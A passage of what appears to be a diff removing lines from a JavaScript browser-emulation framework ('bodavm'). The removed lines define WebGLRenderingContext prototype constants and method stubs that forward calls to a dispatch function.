-bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "activeTexture", {configurable:true, enumerable:true, writable:true, value:function activeTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "activeTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "attachShader", {configurable:true, enumerable:true, writable:true, value:function attachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "attachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindAttribLocation", {configurable:true, enumerable:true, writable:true, value:function bindAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function bindRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendColor", {configurable:true, enumerable:true, writable:true, value:function blendColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquation", {configurable:true, enumerable:true, writable:true, value:function blendEquation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquationSeparate", {configurable:true, enumerable:true, writable:true, value:function blendEquationSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquationSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFunc", {configurable:true, enumerable:true, writable:true, value:function blendFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function blendFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferData", {configurable:true, enumerable:true, writable:true, value:function bufferData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferSubData", {configurable:true, enumerable:true, writable:true, value:function bufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "checkFramebufferStatus", {configurable:true, enumerable:true, writable:true, value:function checkFramebufferStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "checkFramebufferStatus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compileShader", {configurable:true, enumerable:true, writable:true, value:function compileShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compileShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createFramebuffer", {configurable:true, enumerable:true, writable:true, value:function createFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createProgram", {configurable:true, enumerable:true, writable:true, value:function createProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function createRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createShader", {configurable:true, enumerable:true, writable:true, value:function createShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createTexture", {configurable:true, enumerable:true, writable:true, value:function createTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "cullFace", {configurable:true, enumerable:true, writable:true, value:function cullFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "cullFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteBuffer", {configurable:true, enumerable:true, writable:true, value:function deleteBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteFramebuffer", {configurable:true, enumerable:true, writable:true, value:function deleteFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteProgram", {configurable:true, enumerable:true, writable:true, value:function deleteProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function deleteRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteRenderbuffer", 